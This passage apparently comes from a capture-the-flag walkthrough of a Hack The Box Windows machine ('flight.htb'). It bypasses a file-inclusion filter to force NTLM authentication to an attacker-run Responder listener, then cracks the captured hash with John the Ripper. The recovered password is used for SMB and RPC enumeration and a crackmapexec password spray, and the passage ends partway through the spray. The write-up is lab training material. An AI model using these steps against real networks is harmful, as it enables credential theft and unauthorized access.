<pre><code class="lang-css"># <span class="hljs-selector-tag">Copyright</span> (<span class="hljs-selector-tag">c</span>) 1993<span class="hljs-selector-tag">-1999</span> <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Corp</span>. # # <span class="hljs-selector-tag">This</span> <span class="hljs-selector-tag">file</span> <span class="hljs-selector-tag">contains</span> <span class="hljs-selector-tag">network</span> <span class="hljs-selector-tag">name</span>/<span class="hljs-selector-tag">network</span> <span class="hljs-selector-tag">number</span> <span class="hljs-selector-tag">mappings</span> <span class="hljs-selector-tag">for</span> # <span class="hljs-selector-tag">local</span> <span class="hljs-selector-tag">networks</span>. <span class="hljs-selector-tag">Network</span> <span class="hljs-selector-tag">numbers</span> <span class="hljs-selector-tag">are</span> <span class="hljs-selector-tag">recognized</span> <span class="hljs-selector-tag">in</span> <span class="hljs-selector-tag">dotted</span> <span class="hljs-selector-tag">decimal</span> <span class="hljs-selector-tag">form</span>. # # <span class="hljs-selector-tag">Format</span>: # # <span class="hljs-selector-attr">[aliases...]</span> <span class="hljs-selector-attr">[#]</span> # # <span class="hljs-selector-tag">For</span> <span class="hljs-selector-tag">example</span>: # # <span class="hljs-selector-tag">loopback</span> 127 # <span class="hljs-selector-tag">campus</span> 284<span class="hljs-selector-class">.122</span><span class="hljs-selector-class">.107</span> # <span class="hljs-selector-tag">london</span> 284<span class="hljs-selector-class">.122</span><span class="hljs-selector-class">.108</span> <span class="hljs-selector-tag">loopback</span> 127
</code></pre>
<p>So when we change the <code>\</code> to be <code>/</code> we see that we get output... this means that during mitigation they only had <code>\</code> in mind but not <code>/</code>.</p>
<p>Now considering this to be a Windows machine... This is somewhat of a huge vulnerability, to be honest. We can explore loading a file from a UNC (Universal Naming Convention) path.</p>
<p><strong>UNC (Universal Naming Convention) path</strong></p>
<p>A UNC path is a standardized way to identify network resources, typically shared files and folders, in a format that is accessible across different systems. It uses a double backslash "//" followed by the name or IP address of the machine and the path to the shared resource. UNC paths are often used in Windows environments to access files and directories on network shares or remote systems.</p>
<p>If successful, the machine will be compelled to authenticate itself to access the shared resource we specify but the twist is that we can intercept this using <code>responder</code> to get the hash that will be used for authentication.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697887524289/53be391a-298c-4952-b805-eceba1316d2d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">sudo</span> <span class="hljs-selector-tag">responder</span> <span class="hljs-selector-tag">-I</span> <span class="hljs-selector-tag">tun0</span> <span class="hljs-selector-tag">-v</span>
<span class="hljs-selector-tag">Swipe</span> <span class="hljs-selector-tag">your</span> <span class="hljs-selector-tag">finger</span> <span class="hljs-selector-tag">across</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">fingerprint</span> <span class="hljs-selector-tag">reader</span>
^<span class="hljs-selector-tag">C</span><span class="hljs-selector-attr">[sudo]</span> <span class="hljs-selector-tag">password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">isayar17_x401a</span>: 
                                         __
  <span class="hljs-selector-class">.----</span><span class="hljs-selector-class">.-----</span><span class="hljs-selector-class">.-----</span><span class="hljs-selector-class">.-----</span><span class="hljs-selector-class">.-----</span><span class="hljs-selector-class">.-----</span><span class="hljs-selector-class">.--</span>|  |<span class="hljs-selector-class">.-----</span><span class="hljs-selector-class">.----</span>.
  |   _|  <span class="hljs-selector-tag">-__</span>|__ <span class="hljs-selector-tag">--</span>|  _  |  _  |     |  _  ||  <span class="hljs-selector-tag">-__</span>|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           <span class="hljs-selector-tag">NBT-NS</span>, <span class="hljs-selector-tag">LLMNR</span> &amp; <span class="hljs-selector-tag">MDNS</span> <span class="hljs-selector-tag">Responder</span> 3<span class="hljs-selector-class">.1</span><span class="hljs-selector-class">.3</span><span class="hljs-selector-class">.0</span>

  <span class="hljs-selector-tag">To</span> <span class="hljs-selector-tag">support</span> <span class="hljs-selector-tag">this</span> <span class="hljs-selector-tag">project</span>:
  <span class="hljs-selector-tag">Patreon</span> <span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">www</span><span class="hljs-selector-class">.patreon</span><span class="hljs-selector-class">.com</span>/<span class="hljs-selector-tag">PythonResponder</span>
  <span class="hljs-selector-tag">Paypal</span>  <span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">paypal</span><span class="hljs-selector-class">.me</span>/<span class="hljs-selector-tag">PythonResponder</span>

  <span class="hljs-selector-tag">Author</span>: <span class="hljs-selector-tag">Laurent</span> <span class="hljs-selector-tag">Gaffie</span> (<span class="hljs-selector-tag">laurent</span><span class="hljs-selector-class">.gaffie</span><span class="hljs-keyword">@gmail</span>.com)
  To kill this script hit CTRL-C


[+] <span class="hljs-attribute">Poisoners:</span>
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] <span class="hljs-attribute">Servers:</span>
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP <span class="hljs-attribute">Options:</span>
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning <span class="hljs-attribute">Options:</span>
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic <span class="hljs-attribute">Options:</span>
    Responder NIC              [tun0]
    Responder IP               [<span class="hljs-number">10.10</span>.<span class="hljs-number">16.20</span>]
    Responder IPv6             [<span class="hljs-attribute">dead:</span><span class="hljs-attribute">beef:</span><span class="hljs-number">4</span>::<span class="hljs-number">1012</span>]
    Challenge set              [random]
    Don<span class="hljs-string">'t Respond To Names     ['</span>ISATAP<span class="hljs-string">']

[+] Current Session Variables:
    Responder Machine Name     [WIN-GK2OTN9S1UH]
    Responder Domain Name      [UBRS.LOCAL]
    Responder DCE-RPC Port     [48739]

[+] Listening for events...</span>
</code></pre>
<p>now we specify that the unc path to be accessed will be... <code>//10.10.16.20/meme</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697887806253/c27f95dc-ead6-4a7e-a338-640146cae39b.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>?<span class="hljs-selector-tag">view</span>=//10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span>/<span class="hljs-selector-tag">meme</span>
</code></pre>
<p>and when we go back to check on <code>responder</code> we get the hash belonging to the service account apache:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697887869397/a91ad0f1-a2b5-4f2b-9f8b-5c23a17e8e8e.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">events</span>...

<span class="hljs-selector-attr">[SMB]</span> <span class="hljs-selector-tag">NTLMv2-SSP</span> <span class="hljs-selector-tag">Client</span>   : 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span>
<span class="hljs-selector-attr">[SMB]</span> <span class="hljs-selector-tag">NTLMv2-SSP</span> <span class="hljs-selector-tag">Username</span> : <span class="hljs-selector-tag">flight</span>\<span class="hljs-selector-tag">svc_apache</span>
<span class="hljs-selector-attr">[SMB]</span> <span class="hljs-selector-tag">NTLMv2-SSP</span> <span class="hljs-selector-tag">Hash</span>     : <span class="hljs-selector-tag">svc_apache</span><span class="hljs-selector-pseudo">::flight</span><span class="hljs-selector-pseudo">:25386ad3ab3e876f</span><span class="hljs-selector-pseudo">:578BFEBE0906286F290EBD66E5923267</span><span class="hljs-selector-pseudo">:010100000000000000C2C3472A04DA0179243347A43CFD620000000002000800550042005200530001001E00570049004E002D0047004B0032004F0054004E003900530031005500480004003400570049004E002D0047004B0032004F0054004E00390053003100550048002E0055004200520053002E004C004F00430041004C000300140055004200520053002E004C004F00430041004C000500140055004200520053002E004C004F00430041004C000700080000C2C3472A04DA0106000400020000000800300030000000000000000000000000300000FCA96C2613B1D4AD0ECAEEEAF245474C104D9897A87946C198AF6FCC7211B5990A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320030000000000000000000</span>
</code></pre>
<p><strong>Password Cracking</strong></p>
<p>Now we take the hash and save it to a file <code>hash</code> and then using JohnTheRipper we try to crack the hash.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697888147222/2f3592ad-cfc2-46e3-b6b4-d6b4b8fda4f9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">john</span> <span class="hljs-selector-tag">--wordlist</span>=/<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">share</span>/<span class="hljs-selector-tag">wordlists</span>/<span class="hljs-selector-tag">rockyou</span><span class="hljs-selector-class">.txt</span>  <span class="hljs-selector-tag">hash</span>
<span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">default</span> <span class="hljs-selector-tag">input</span> <span class="hljs-selector-tag">encoding</span>: <span class="hljs-selector-tag">UTF-8</span>
<span class="hljs-selector-tag">Loaded</span> 1 <span class="hljs-selector-tag">password</span> <span class="hljs-selector-tag">hash</span> (<span class="hljs-selector-tag">netntlmv2</span>, <span class="hljs-selector-tag">NTLMv2</span> <span class="hljs-selector-tag">C</span>/<span class="hljs-selector-tag">R</span> <span class="hljs-selector-attr">[MD4 HMAC-MD5 32/64]</span>)
<span class="hljs-selector-tag">Will</span> <span class="hljs-selector-tag">run</span> 4 <span class="hljs-selector-tag">OpenMP</span> <span class="hljs-selector-tag">threads</span>
<span class="hljs-selector-tag">Press</span> '<span class="hljs-selector-tag">q</span>' <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">Ctrl-C</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">abort</span>, <span class="hljs-selector-tag">almost</span> <span class="hljs-selector-tag">any</span> <span class="hljs-selector-tag">other</span> <span class="hljs-selector-tag">key</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">status</span>
<span class="hljs-selector-tag">S</span><span class="hljs-keyword">@Ss</span>!K@*t13      (svc_apache)     
<span class="hljs-number">1</span>g <span class="hljs-number">0</span>:<span class="hljs-number">00</span>:<span class="hljs-number">00</span>:<span class="hljs-number">08</span> DONE (<span class="hljs-number">2023</span>-<span class="hljs-number">10</span>-<span class="hljs-number">21</span> <span class="hljs-number">14</span>:<span class="hljs-number">34</span>) <span class="hljs-number">0.1242</span>g/s <span class="hljs-number">1324</span>Kp/s <span class="hljs-number">1324</span>Kc/s <span class="hljs-number">1324</span>KC/s SADSAM..S42150461
Use the <span class="hljs-string">"--show --format=netntlmv2"</span> options to display all of the cracked passwords reliably
Session completed.
</code></pre>
<p>so we get the username and password as:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">username</span><span class="hljs-selector-pseudo">:svc_apache</span>
<span class="hljs-selector-tag">password</span><span class="hljs-selector-pseudo">:S</span><span class="hljs-keyword">@Ss</span>!K@*t13
</code></pre>
<p>using these credentials we continue with our enumeration on SMB:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697888708231/806a9f61-d41b-4fc5-a826-b0aff9ef1ef8.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">crackmapexec</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">svc_apache</span> <span class="hljs-selector-tag">-p</span> '<span class="hljs-selector-tag">S</span><span class="hljs-keyword">@Ss</span>!K@*t13' --shares
</code></pre>
<p>unfortunately, we found out we don't have any write access as the service account that we are and trying to go further through SMB is just a rabbit hole that we get ourselves into.</p>
<p>We move on to using the credentials to do our enumeration through <code>rpc</code> we saw the port was open, remember the <code>nmap</code> scan</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697889210266/4e62f1ce-8a1c-4bb3-8d7f-e278f66e5736.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rpcclient</span> <span class="hljs-selector-tag">-U</span> '<span class="hljs-selector-tag">svc_apache</span>'   10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span>
</code></pre>
<p>when prompted for the password just enter <code>S@Ss!K@*t13</code>. Now once we are in I began by enumerating the domain users through <code>enumdomusers</code>, I even did <code>enumdomains</code> and <code>enumdomgroups</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697889601525/194487eb-7932-40c6-a951-71bf674b17e4.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"> <span class="hljs-selector-tag">rpcclient</span> <span class="hljs-selector-tag">-U</span> '<span class="hljs-selector-tag">svc_apache</span>'   10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span>
<span class="hljs-selector-tag">Password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-attr">[WORKGROUP\svc_apache]</span>:
<span class="hljs-selector-tag">rpcclient</span> $&gt; <span class="hljs-selector-tag">enumdomusers</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[Administrator]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f4]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[Guest]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f5]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[krbtgt]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f6]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[S.Moon]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x642]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[R.Cold]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x643]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[G.Lors]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x644]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[L.Kein]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x645]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[M.Gold]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x646]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[C.Bum]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x647]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[W.Walker]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x648]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[I.Francis]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x649]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[D.Truff]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64a]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[V.Stevens]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64b]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[svc_apache]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64c]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[O.Possum]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64d]</span>
<span class="hljs-selector-tag">rpcclient</span> $&gt; <span class="hljs-selector-tag">enumdomains</span>
<span class="hljs-selector-tag">name</span>:<span class="hljs-selector-attr">[flight]</span> <span class="hljs-selector-tag">idx</span>:<span class="hljs-selector-attr">[0x0]</span>
<span class="hljs-selector-tag">name</span>:<span class="hljs-selector-attr">[Builtin]</span> <span class="hljs-selector-tag">idx</span>:<span class="hljs-selector-attr">[0x0]</span>
<span class="hljs-selector-tag">rpcclient</span> $&gt; <span class="hljs-selector-tag">enumdomgroups</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Enterprise Read-only Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f2]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x200]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Users]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x201]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Guests]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x202]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Computers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x203]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x204]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Schema Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x206]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Enterprise Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x207]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Group Policy Creator Owners]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x208]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Read-only Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x209]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Cloneable Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20a]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Protected Users]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20d]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Key Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20e]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Enterprise Key Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20f]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[DnsUpdateProxy]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x44f]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[WebDevs]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64e]</span>
</code></pre>
<p>we got a lot of juicy info, especially information on the domain users. Now, remember that the account that we have credentials for is <code>svc_apache</code> a service account that may have been set up by a particular user... maybe the user can be in the domain users we have obtained... and one thing for sure is, that people tend to reuse their passwords most of the time, people who do not consider cyber security thaaat much <a target="_blank" href="https://emojipedia.org/skull">💀</a> we can test for password reuse by doing a password spraying attack using the password <code>S@Ss!K@*t13</code></p>
<p><strong>Password spaying attack</strong></p>
<p>A password spraying attack is a type of brute-force attack where an attacker tries a limited set of commonly used passwords against many user accounts, aiming to access one with a weak password without triggering account lockouts or alarms.</p>
<p>Always be sure to check the account lockout threshold of the accounts you get access to:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697890870378/2398e9f6-010c-40f8-b5ac-7bfcb0e5e1bd.png" alt="cheking the Account Lockout Threshold of the service account svc_apache" class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">crackmapexec</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">svc_apache</span> <span class="hljs-selector-tag">-p</span> '<span class="hljs-selector-tag">S</span><span class="hljs-keyword">@Ss</span>!K@*t13' --pass-pol
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [*] Windows <span class="hljs-number">10.0</span> Build <span class="hljs-number">17763</span> x64 (<span class="hljs-attribute">name:</span>G0) (<span class="hljs-attribute">domain:</span>flight.htb) (<span class="hljs-attribute">signing:</span>True) (SMBv1:False)
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [+] flight.htb\svc_<span class="hljs-attribute">apache:</span>S@Ss!K@*t13 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [+] Dumping password info for <span class="hljs-attribute">domain:</span> flight
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Minimum password <span class="hljs-attribute">length:</span> <span class="hljs-number">7</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Password history <span class="hljs-attribute">length:</span> <span class="hljs-number">24</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Maximum password <span class="hljs-attribute">age:</span> <span class="hljs-number">41</span> days <span class="hljs-number">23</span> hours <span class="hljs-number">53</span> minutes 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Password Complexity <span class="hljs-attribute">Flags:</span> <span class="hljs-number">000001</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0                   Domain Refuse Password <span class="hljs-attribute">Change:</span> <span class="hljs-number">0</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0                   Domain Password Store <span class="hljs-attribute">Cleartext:</span> <span class="hljs-number">0</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0                   Domain Password Lockout <span class="hljs-attribute">Admins:</span> <span class="hljs-number">0</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0                   Domain Password No Clear <span class="hljs-attribute">Change:</span> <span class="hljs-number">0</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0                   Domain Password No Anon <span class="hljs-attribute">Change:</span> <span class="hljs-number">0</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0                   Domain Password <span class="hljs-attribute">Complex:</span> <span class="hljs-number">1</span>
SMB         flight.htb      <span class="hljs-number">445</span>    G0               
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Minimum password <span class="hljs-attribute">age:</span> <span class="hljs-number">1</span> day <span class="hljs-number">4</span> minutes 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Reset Account Lockout <span class="hljs-attribute">Counter:</span> <span class="hljs-number">30</span> minutes 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Locked Account <span class="hljs-attribute">Duration:</span> <span class="hljs-number">30</span> minutes 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Account Lockout <span class="hljs-attribute">Threshold:</span> None
SMB         flight.htb      <span class="hljs-number">445</span>    G0               Forced Log off <span class="hljs-attribute">Time:</span> <span class="hljs-keyword">Not</span> Set
</code></pre>
<p>In our case for this account, we see that there is no lockout Threshold... This is just a bytheway...</p>
<p>Now back to where we were... we copy the output of <code>enumdomusers</code> to a new file <code>users</code> and using some bash scripting we do a clean-up so that we can only obtain the <code>users</code>.</p>
<p>The new file will contain:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697891550743/0fd228ba-810c-42b2-b3df-ab40daeb72a8.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[Administrator]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f4]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[Guest]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f5]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[krbtgt]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f6]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[S.Moon]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x642]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[R.Cold]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x643]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[G.Lors]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x644]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[L.Kein]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x645]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[M.Gold]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x646]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[C.Bum]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x647]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[W.Walker]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x648]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[I.Francis]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x649]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[D.Truff]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64a]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[V.Stevens]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64b]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[svc_apache]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64c]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[O.Possum]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x64d]</span>
</code></pre>
<p>we do a clean-up using the script</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">cat</span> <span class="hljs-selector-tag">users</span> | <span class="hljs-selector-tag">awk</span> '{print NR, $1}' | <span class="hljs-selector-tag">cut</span> <span class="hljs-selector-tag">-d</span> '<span class="hljs-selector-attr">[<span class="hljs-string">' -f2 | cut -d  '</span>]</span>' <span class="hljs-selector-tag">-f1</span> | <span class="hljs-selector-tag">tee</span> <span class="hljs-selector-tag">users_clean</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697891727689/fef4a355-18f7-4aa0-b808-c9c7f459f3f7.png" alt class="image--center mx-auto" /></p>
<p>the script does:</p>
<p><code>cat users</code>: Reads the content of a file named "users."</p>
<p><code>awk '{print NR, $1}'</code>: Adds line numbers to each line of the file, separated by spaces.</p>
<p><code>cut -d '[' -f2</code>: Splits each line using '[' as the delimiter and selects the second part. <code>cut -d ']' -f1</code>: Splits the result using ']' as the delimiter and selects the first part. <code>tee users_clean</code>: Writes the modified output to a new file named "users_clean" while also displaying it on the terminal.</p>
<p>now using <code>crackmapexec</code> we perform <code>password spraying</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697892180586/51d9026b-242d-44ed-8fa0-efbd52f29b6c.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">crackmapexec</span> <span class="hljs-selector-tag">smb</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">users_clean</span>  <span class="hljs-selector-tag">-p</span> '<span class="hljs-selector-tag">S</span><span class="hljs-keyword">@Ss</span>!K@*t13' --continue-on-success
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [*] Windows <span class="hljs-number">10.0</span> Build <span class="hljs-number">17763</span> x64 (<span class="hljs-attribute">name:</span>G0) (<span class="hljs-attribute">domain:</span>flight.htb) (<span class="hljs-attribute">signing:</span>True) (SMBv1:False)
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\<span class="hljs-attribute">Administrator:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\<span class="hljs-attribute">Guest:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      <span class="hljs-number">445</span>    G0               [-] flight.htb\<span class="hljs-attribute">krbtgt:</span>S@Ss!K@*t13 STATUS_LOGON_FAILURE 
